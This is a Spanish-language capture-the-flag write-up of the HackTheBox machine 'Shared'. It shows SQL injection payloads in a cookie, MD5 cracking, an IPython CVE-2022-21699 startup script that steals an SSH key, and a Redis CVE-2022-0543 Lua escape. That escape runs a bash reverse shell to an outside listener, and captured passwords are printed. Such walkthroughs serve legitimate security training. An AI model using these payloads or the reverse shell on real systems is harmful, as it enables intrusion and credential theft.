Shared es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Shared 10.10.11.172 a /etc/hosts como shared.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
nmap -sV -sC -oA enumeration/nmap1 10.10.11.172 Nmap scan report for 10.10.11.172 Host is up (0.050s latency). Not shown: 997 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 91:e8:35:f4:69:5f:c2:e2:0e:27:46:e2:a6:b6:d8:65 (RSA) | 256 cf:fc:c4:5d:84:fb:58:0b:be:2d:ad:35:40:9d:c3:51 (ECDSA) |_ 256 a3:38:6d:75:09:64:ed:70:cf:17:49:9a:dc:12:6d:11 (ED25519) 80/tcp open http nginx 1.18.0 |_http-title: Did not follow redirect to http://shared.htb |_http-server-header: nginx/1.18.0 443/tcp open ssl/http nginx 1.18.0 |_http-title: Did not follow redirect to https://shared.htb | ssl-cert: Subject: commonName=*.shared.htb/organizationName=HTB/stateOrProvinceName=None/countryName=US | Not valid before: 2022-03-20T13:37:14 |_Not valid after: 2042-03-15T13:37:14 | tls-nextprotoneg: | h2 |_ http/1.1 |_http-server-header: nginx/1.18.0 | tls-alpn: | h2 |_ http/1.1 |_ssl-date: TLS randomness does not represent time Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Thu Jul 28 22:48:29 2022 -- 1 IP address (1 host up) scanned in 21.41 seconds |
No hay muchos puertos abiertos, así que vamos a revisar el portal web existente en el puerto 80/443.
Enumeración
Accedemos al portal web por el puerto 80 y nos redirecciona al puerto 443 donde vemos una página web de una tienda realizada con prestashop
Revisamos el portal y hacemos varias enumeraciones pero no descubrimos mucha cosa así que vamos a ver como funciona la página, añadimos un artículo al carrito y procedemos a pagar el mismo
Cuando vamos a pagar, al darle al botón de checkout nos lleva a un nuevo subdominio que añadiremos al fichero /etc/hosts
1 |
checkout.shared.htb |
Una vez añadido, accedemos al mismo luciendo el siguiente aspecto
En esta página muestra el contenido de los artículos que hemos marcado previamente para comprar y donde solicita añadir una tarjeta de crédito, si analizamos detenidamente esta página y nos fijamos en la petición de una a otra, observamos una cookie que nos llama la atención
Después de varias pruebas vemos que en la misma se indica el id del artículo seleccionado y la cantidad comprada del mismo, así que hacemos alguna prueba con la misma y detectamos que es vulnerable a sqli.
Hemos cambiado el valor de la cookie, pero sin embargo el portal sigue funcionando correctamente así que vamos a tratar de obtener más información por este método.
Descubrimos en primer lugar sobre qué esquema de base de datos está configurada la aplicación
1 |
{"' and 1=1 union select 1,database(),3-- -":"1"} |
Y vemos que se trata del esquema checkout
El siguiente paso será obtener las tablas del esquema
1 |
{"' and 1=1 union select 1,table_name,table_name from information_schema.tables where table_schema='checkout'-- -":"1"} |
El último paso será obtener el usuario y la password
1 2 |
{"' and 1=1 union select 1,username,3 from checkout.user-- -":"1"} {"' and 1=1 union select 1,password,3 from checkout.user-- -":"1"} |
Ya tenemos la clave, pero está cifrada, así que vamos a utilizar john para descifrar la misma
1 2 3 4 5 6 7 8 9 |
$ john -w=/usr/share/wordlists/rockyou.txt keys/james_mason.hash --format=Raw-MD5 Using default input encoding: UTF-8 Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3]) Warning: no OpenMP support for this hash type, consider --fork=2 Press 'q' or Ctrl-C to abort, almost any other key for status Soleil101 (james_mason) 1g 0:00:00:00 DONE (2022-07-28 20:55) 1.923g/s 4020Kp/s 4020Kc/s 4020KC/s Sportster1..SoccerBabe Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably Session completed. |
Y ya tenemos la pass del usuario james_mason, así que el siguiente paso será acceder por ssh con las claves.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
$ ssh james_mason@shared.htb The authenticity of host 'shared.htb (10.10.11.172)' can't be established. ED25519 key fingerprint is SHA256:UXHSnbXewSQjJVOjGF5RVNToyJZqtdQyS8hgr5P8pWM. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'shared.htb' (ED25519) to the list of known hosts. james_mason@shared.htb's password: Linux shared 5.10.0-16-amd64 #1 SMP Debian 5.10.127-1 (2022-06-30) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Thu Jul 14 14:45:22 2022 from 10.10.14.4 james_mason@shared:~$ id uid=1000(james_mason) gid=1000(james_mason) groups=1000(james_mason),1001(developer) james_mason@shared:~$ |
El usuario no puede acceder a la flag así que nos tocará escalar a otro usuario para poder continuar.
Escalado lateral al usuario dan_smith
Revisamos en la home del usuario y vemos la flag, pero no podemos conseguirla así que tendremos que encontrar la forma de saltar a dicho usuario.
1 2 3 |
james_mason@shared:/home$ ls -l dan_smith/ total 4 -rw-r----- 1 root dan_smith 33 Jul 28 10:47 user.txt |
Revisamos en la máquina alguna ruta donde el grupo sea developer y encontramos un directorio en /opt
1 2 3 4 5 6 |
james_mason@shared:/opt$ ls -l total 4 drwxrwx--- 2 root developer 4096 Jul 14 13:46 scripts_review james_mason@shared:/opt$ cd scripts_review/ james_mason@shared:/opt/scripts_review$ ls -l total 0 |
Aunque extrañamente está vacío y todavía no sabemos por qué.
Seguimos enumerando e investigando la máquina y encontramos un proceso interesante mediante el uso de pspy
Vemos un proceso de ipython, para que nos entendamos, es un shell interactivo que añade una serie de extras al modo interactivo incluido por defecto en python.
Vamos a revisar la versión de la librería
1 2 |
james_mason@shared:~$ /usr/local/bin/ipython --version 8.0.0 |
Y navegamos un poco buscando alguna vulnerabilidad relacionada y encontramos un cve, CVE-2022-21699, que permite la ejecución de código arbitrario y encontramos también una poc en github para explotar la misma.
Vista la vulnerabilidad, para explotarla, vamos a crear los directorios dentro del que vimos anteriormente y que teníamos permisos de escritura.
1 2 |
james_mason@shared:~$ mkdir -m 777 /opt/scripts_review/profile_default james_mason@shared:~$ mkdir -m 777 /opt/scripts_review/profile_default/startup |
Generamos un script en python que copiará la clave ssh de la home del usuario dan_smith a la ruta que escojamos
1 |
james_mason@shared:~$ echo "import os; os.system('cat ~/.ssh/id_rsa > /tmp/user_keys.pem')" > /opt/scripts_review/profile_default/startup/exploit.py |
Ahora tan sólo debemos esperar unos segundos y veremos como se ha copiado la clave del usuario al directorio que indicamos
1 2 3 4 5 6 7 |
james_mason@shared:~$ ls -l /tmp/ total 20 drwx------ 3 root root 4096 Jul 28 17:09 systemd-private-8616036c9dd34045b9ab40a04b0aa03f-redis-server.service-wN9z1i drwx------ 3 root root 4096 Jul 28 10:46 systemd-private-8616036c9dd34045b9ab40a04b0aa03f-systemd-logind.service-20fnjj drwx------ 3 root root 4096 Jul 28 10:46 systemd-private-8616036c9dd34045b9ab40a04b0aa03f-systemd-timesyncd.service-Of5ORf -rw-r--r-- 1 dan_smith dan_smith 2602 Jul 28 17:09 user_keys.pem drwx------ 2 root root 4096 Jul 28 10:47 vmware-root_402-566990380 |
Obteniendo la flag de user
Con la clave ssh del usuario, accedemos y obtenemos la flag de la home del mismo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
$ ssh -i keys/dan_smith.pem dan_smith@shared.htb Linux shared 5.10.0-16-amd64 #1 SMP Debian 5.10.127-1 (2022-06-30) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Thu Jul 14 14:43:34 2022 from 10.10.14.4 dan_smith@shared:~$ id uid=1001(dan_smith) gid=1002(dan_smith) groups=1002(dan_smith),1001(developer),1003(sysadmin) dan_smith@shared:~$ ls -l total 4 -rw-r----- 1 root dan_smith 33 Jul 28 10:47 user.txt dan_smith@shared:~$ cat user.txt exxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx0 dan_smith@shared:~$ |
Escalado de privilegios
Para el escalado, seguiremos enumerando y nos fijamos en uno de los grupos a los que pertenece el usuario dan_smith, el grupo se llama sysadmin, así que vamos a buscar algún fichero o directorio donde tengamos permisos
1 2 |
dan_smith@shared:~$ find / -group sysadmin 2>/dev/null /usr/local/bin/redis_connector_dev |
Y encontramos un ejecutable de redis, que si lanzamos, veremos lo siguiente
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
dan_smith@shared:~$ /usr/local/bin/redis_connector_dev [+] Logging to redis instance using password... INFO command result: # Server redis_version:6.0.15 redis_git_sha1:00000000 redis_git_dirty:0 redis_build_id:4610f4c3acf7fb25 redis_mode:standalone os:Linux 5.10.0-16-amd64 x86_64 arch_bits:64 multiplexing_api:epoll atomicvar_api:atomic-builtin gcc_version:10.2.1 process_id:10911 run_id:2a086e7aa58f03240f02a84b37baefbc37a59ea4 tcp_port:6379 uptime_in_seconds:37 uptime_in_days:0 hz:10 configured_hz:10 lru_clock:14876195 executable:/usr/bin/redis-server config_file:/etc/redis/redis.conf io_threads_active:0 <nil> |
No tenemos permisos para ver los ficheros de configuración existentes ni para ejecutar el binario de redis-server así que vamos a verificar el puerto en el que corre el servicio
1 2 3 |
dan_smith@shared:~$ ps aux|grep redis root 10976 0.5 0.7 65104 14780 ? Ssl 17:24 0:00 /usr/bin/redis-server 127.0.0.1:6379 dan_smi+ 10982 0.0 0.0 6180 652 pts/1 S+ 17:24 0:00 grep redis |
Nos descargamos el ejecutable y lo lanzamos en local
1 2 3 4 |
$ ./redis_connector_dev [+] Logging to redis instance using password... INFO command result: |
Y si nos fijamos en la escucha que habíamos puesto en el puerto 6379 hemos obtenido lo que parece una password
1 2 3 4 5 6 7 8 |
$ nc -lvp 6379 listening on [any] 6379 ... connect to [127.0.0.1] from localhost [127.0.0.1] 34652 *2 $4 auth $16 F2WHqJUz2WEz=Gqq |
Hacemos alguna prueba y comprobamos que la clave se utiliza para el acceso a la cli de redis
1 2 3 |
dan_smith@shared:~$ redis-cli --pass F2WHqJUz2WEz=Gqq Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe. 127.0.0.1:6379> |
Así que nos vamos a google a buscar alguna vuln y encontramos en concreto una para obtener un escalado de privilegios, CVE-2022-0543, y una poc de la misma
https://github.com/vulhub/vulhub/blob/master/redis/CVE-2022-0543/README.md
Vista la explicación y la poc, como en sistemas basados en debian la librería de lua es dinámica, es posible explotar la misma, así que revisaremos en primer lugar la localización de la librería
1 2 |
dan_smith@shared:~$ ls -l /usr/lib/x86_64-linux-gnu/liblua5.1.so.0 lrwxrwxrwx 1 root root 18 Jul 14 2019 /usr/lib/x86_64-linux-gnu/liblua5.1.so.0 -> liblua5.1.so.0.0.0 |
El siguiente paso será generar un fichero con una revshell
1 |
dan_smith@shared:~$ echo "bash -i >& /dev/tcp/10.10.14.11/4444 0>&1" > /dev/shm/shell |
Y por último acceder a la cli de redis y ejecutar el payload
1 2 3 |
dan_smith@shared:~$ redis-cli --pass F2WHqJUz2WEz=Gqq Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe. 127.0.0.1:6379> eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("cat /dev/shm/shell | bash"); local res = f:read("*a"); f:close(); return res' 0 |
Una vez ejecutado nos vamos a nuestra escucha y observamos como hemos conseguido acceso como root
1 2 3 4 5 6 7 8 |
$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.11] from (UNKNOWN) [10.10.11.172] 43894 bash: cannot set terminal process group (11698): Inappropriate ioctl for device bash: no job control in this shell root@shared:/var/lib/redis# id id uid=0(root) gid=0(root) groups=0(root) |
Obteniendo la flag de root
Ya somos root, así que nos queda ir a por nuestra ansiada flag
1 2 3 4 5 6 |
root@shared:/var/lib/redis# cd /root cd /root root@shared:~# cat root.txt cat root.txt 9xxxxxxxxxxxxxxxxxxxxxxxxxxx5 root@shared:~# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace